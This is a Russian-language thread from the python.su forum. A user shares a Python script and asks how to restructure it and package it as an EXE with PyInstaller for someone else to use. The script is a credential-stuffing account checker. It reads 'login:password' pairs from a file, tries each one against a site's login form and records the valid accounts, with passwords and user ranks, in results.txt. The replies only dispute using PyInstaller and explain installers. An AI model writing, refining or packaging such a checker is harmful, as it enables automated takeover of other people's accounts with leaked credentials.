Форум сайта python.su
Привет. Написал такой код.
Подскажите, как сделать его более читабельным и разбить на фукнции для последующей компиляции через pyinstaller.
import requests from datetime import date from getpass import getpass from bs4 import BeautifulSoup from pyfiglet import figlet_format # # today = date.today() # print(figlet_format("NAME", font= "roman")) print("\nEnter the file name with log:pass:\n") logins_file = input('') print("Start Checking...") # file_data = open(logins_file).read().split('\n') # file_results = open('results.txt', 'a+', encoding='utf-8', errors='ignore') file_results.write("\n" + f'[ {today} ]' + "\n\n\n") file_results.close() # count = 0 # for account in file_data: # username = account.split(":")[0] password = account.split(":")[1] # session = requests.Session() # r = session.post('//URL.URL', timeout=100,data={'username': username, 'password': password}) soup_login = BeautifulSoup(r.text, "html.parser") successfully = soup_login.find('div', attrs={'class': 'box-info-detail no-top-radius'}).text if 'You have successfully logged in.' in successfully: r = session.get("//URL.URL", timeout=100) soup_status = BeautifulSoup(r.text, "html.parser") ul = soup_status.find_all("ul", "category-list", limit=1) for span in ul: count += 1 print(f"Account #{count} | VALIDE |") file_results = open('results.txt', 'a+', encoding='utf-8', errors='ignore') file_results.write("Username: " + username + "\nPassword: " + password + "\nUser rank: " + span.select("li > span")[1].text + '\n===========================\n') file_results.close() else: count += 1 print(f"Account #{count} | NE VALIDE |") # print("\nThe software has finished work.\nThe results are in the file: results.txt\n\nPress ENTER to close the software.") getpass('')
Отредактировано python13 (Май 13, 2022 15:04:16)
Офлайн
python13
За упоминание PyInstaller в некоторых нетолерантных странах расстреливают. Боюсь, вы и сами не ответите на вопрос, а зачем вам это гавно нужно. Ответ типа “а я написал игру танчики, и теперь хочу отправить бандероль со флешкой дедушке в Кологрив. А у дедушке питон не установлен, как он будет в мои танчики играть” уже тысячи раз слышали. Хотите дедушку порадовать великолепной игрой, есть масса способов, начиная с простого распространения игры в комплекте с портабельным питоном. Никто в здравом уме не упаковывает питоний код в бинарь. И вам это тоже не надо. Если же все-таки надо, вот прям надо и все, не спрашивайте зачем, то вы сами с ним и дрочитесь. А профессионалы этим не пользуются и никто вам не поможет
Офлайн
FishHookСпасибо за ответ! Чем пользуются профессионалы?
python13За упоминание PyInstaller в некоторых нетолерантных странах расстреливают. Боюсь, вы и сами не ответите на вопрос, а зачем вам это гавно нужно. Ответ типа “а я написал игру танчики, и теперь хочу отправить бандероль со флешкой дедушке в Кологрив. А у дедушке питон не установлен, как он будет в мои танчики играть” уже тысячи раз слышали. Хотите дедушку порадовать великолепной игрой, есть масса способов, начиная с простого распространения игры в комплекте с портабельным питоном. Никто в здравом уме не упаковывает питоний код в бинарь. И вам это тоже не надо. Если же все-таки надо, вот прям надо и все, не спрашивайте зачем, то вы сами с ним и дрочитесь. А профессионалы этим не пользуются и никто вам не поможет
Офлайн
python13много чем, у вас задача то какая? Вот конкретно - чего хотите добиться
Чем пользуются профессионалы?
Офлайн
FishHookУчусь компилировать файл с кодом в EXE, для удобства использования.
Отредактировано python13 (Май 13, 2022 17:03:16)
Офлайн
python13
а с чего вы вообще родили мысль, что надо что-то куда-то компилировать?
Вы прочитали какую-то литературу по питону, в которой вам это рекомендовали? Вы столкнулись с необходимостью этого действа в своей профессиональной деятельности? Посоветовал кто-то?
Зачем вы этим занимаетесь и почему считаете это занятие полезным?
Офлайн
FishHookВсё это необходимо для удобства использования другим человеком!
python13а с чего вы вообще родили мысль, что надо что-то куда-то компилировать?Вы прочитали какую-то литературу по питону, в которой вам это рекомендовали? Вы столкнулись с необходимостью этого действа в своей профессиональной деятельности? Посоветовал кто-то?Зачем вы этим занимаетесь и почему считаете это занятие полезным?
Офлайн
python13Каким человеком? Кто этот человек?
Всё это необходимо для удобства использования другим человеком!
Офлайн
python13Ты должен создать инсталлятор этой программы. Вот чтобы установить питон на компьютер, ты скачиваешь что? Ты скачиваешь питоновский бинарник? Нет. Ты скачиваешь инсталлятор питона. А дальше этот инсталлятор ставит уже питоновские бинарники/небинарники, всё регистрирует в системе правильно, редактирует переменную среды, создаёт всякие ярлыки для удобства пользователя и после этого всё работает сразу после установки. В любом случае, более-менее сложная программа потребует своей регистрации в системе в том или ином виде. Те же конфигурационные файлы надо правильно расположить, чтобы программа знала, где они расположены. Надо создать директории для конфигурационных файлов, для библиотек, для журналов. Так вот программа не должна этим всем заниматься, этим занимается отдельный от программы установщик, который сам по себе является отдельной программой, которая сама по себе может быть достаточно сложной.
Всё это необходимо для удобства использования другим человеком!
Офлайн
py.user.nextспасибо от всей души за совет! принимаю к сведению!
Офлайн